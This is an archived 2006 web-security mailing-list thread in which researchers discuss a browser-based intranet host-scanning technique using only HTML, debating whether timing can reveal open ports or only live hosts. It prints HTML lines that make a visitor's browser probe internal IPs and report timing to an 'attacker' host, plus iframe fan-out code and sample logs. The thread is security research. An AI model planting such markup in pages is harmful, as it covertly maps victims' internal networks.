jeremiah at whitehatsec.com
Thu Nov 30 12:49:15 EST 2006
Ilia Alshanetsky has already found a way to improve upon the
technique using the obscure content-type "multipart/x-mixed-replace".
There's a great write up and some PHP PoC code to go with it. Good
RSnake has some coverage as well, with Portscanning Without
On Nov 29, 2006, at 5:12 PM, Jeremiah Grossman wrote:
> Heya Amit,
> Your right on top of things as usual. :) With this yet to be
> smoothed out technique my goal was indeed that of port scanning,
> which I still think possible, similar to my previous JS work. As
> you quickly noticed the results more resembles a ping sweep since
> #2 and #3 have similar timing. This is valuable information to be
> sure, but I'd like more. It could be possible that once you know
> the host is up, a second order test could be used to tell if the
> port is in fact open. We'll see, lots of hypotheticals though.
> Either way to goal of publishing was to let people in on a little
> trick so they might try to take it further than I have.
> A thread on slackers has been posted to share results.
> On Nov 29, 2006, at 12:51 AM, Amit Klein wrote:
>> Hi Jer
>> I read your recent blog entry about JS-less PORT-scanning (http://
>> without.html ). And there's something I don't understand. You
>> explicitly write PORT scanning. Yet I fail to see how this method
>> verifies that a certain port is open (or not) in an Intranet host.
>> The way I see it, there are three scenarios:
>> 1. The host does not exist. In such case, the browser times out,
>> resulting in a long time delta between the page download and the
>> IMG request.
>> 2. The host exists, but the port is not open. In such case, the
>> TCP handshake will fail with RST, i.e. one roundtrip to the
>> Intranet host (typically few dozen milliseconds). The time delta
>> between the page download and the IMG request comprises mostly of
>> the round trip between the hacker's server and the client's
>> machine (the Intranet roundtrip is probably negligible).
>> 3. The host exists, and the port is open. In such case, the TCP
>> handshake will succeed (one roundtrip to the Intranet host),
>> followed by another roundtrip (HTTP request + response [not
>> necessarily in HTTP...]). However, the time delta (2 Intranet
>> roundtrips) is still quite likely negligible compared to the
>> roundtrip to the hacker's server.
>> My point is - it's very hard to distinguish #2 and #3 using your
>> method. In other words, I doubt if you can tell whether a port is
>> open or not. So the net effect of your method is to tell whether a
>> host exists or not, hence it's not PORT mapping - it's HOST mapping.
> On Nov 28, 2006, at 5:33 PM, Jeremiah Grossman wrote:
>> Blogged: http://jeremiahgrossman.blogspot.com/2006/11/browser-port-
>> Since my Intranet Hacking Black Hat (Vegas 2006) presentation,
>> I've spent a lot of time researching HTML-only browser malware
>> some timing tricks, I've discovered a way to perform Intranet Port
>> Scanning with a web browser using only HTML. Its really hacky, but
>> it can do the job. Unfortunately time constraints are preventing
>> me from finishing the proof-of-concept code anytime soon. Instead
>> of waiting I decided to describe the idea so maybe others could
>> try it out. Here's how its supposed to work... there are the two
>> important lines of HTML:
>> <* link rel="stylesheet" type="text/css" href="http://
>> 192.168.1.100/" />
>> <* img src="http://attacker/check_time.pl?ip=192.168.1.100&start=
>> epoch_timer" />
>> The LINK tag has the unique behavior of causing the browser
>> (Firefox) to stop parsing the rest of the web page until its HTTP
>> request (for 192.168.1.100) has finished. The purpose of the IMG
>> tag is as a timer and data transport mechanism back to the
>> attacker. One the web page is loaded, at some point in the future
>> a request is received by check_time.pl. By comparing the current
>> epoch to the initial “epoch_timer” value (when the web page was
>> dynamically generated) its possible to tell if the host is up. If
>> the time difference is less than say 5 seconds then likely the
>> host is up, if more, then the host is probably down (browser
>> waited for timeout). Simple.
>> Example (attacker web server logs)
>> Current epoch: 1164762279
>> (3 second delay) - Host is up
>> Current epoch: 1164762286
>> (10 second delay) - Host is down
>> A few browser/network nuances have caused stability and accuracy
>> headaches, plus the technique is somewhat slow to scan with. To
>> fork the connections I used multiple IFRAMES HTML connections,
>> which seemed to work.
>> <* iframe src="/portscan.pl?ip=192.168.201.100" scrolling="no"><* /
>> <* iframe src="/portscan.pl?ip=192.168.201.101" scrolling="no"><* /
>> <* iframe src="/portscan.pl?ip=192.168.201.102" scrolling="no"><* /
>> I'm pretty sure most of the issues can be worked around, but like
>> I said, I lack the time. If anyone out there takes this up as a
>> cause, let me know, I have some Perl scraps if you want them. Enjoy!
>> Jeremiah Grossman
>> Chief Technology Officer
>> WhiteHat Security, Inc.
>> blog: http://jeremiahgrossman.blogspot.com/
>> The Web Security Mailing List:
>> The Web Security Mailing List Archives:
>> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> The Web Security Mailing List:
> The Web Security Mailing List Archives:
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
The Web Security Mailing List:
The Web Security Mailing List Archives:
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
More information about the websecurity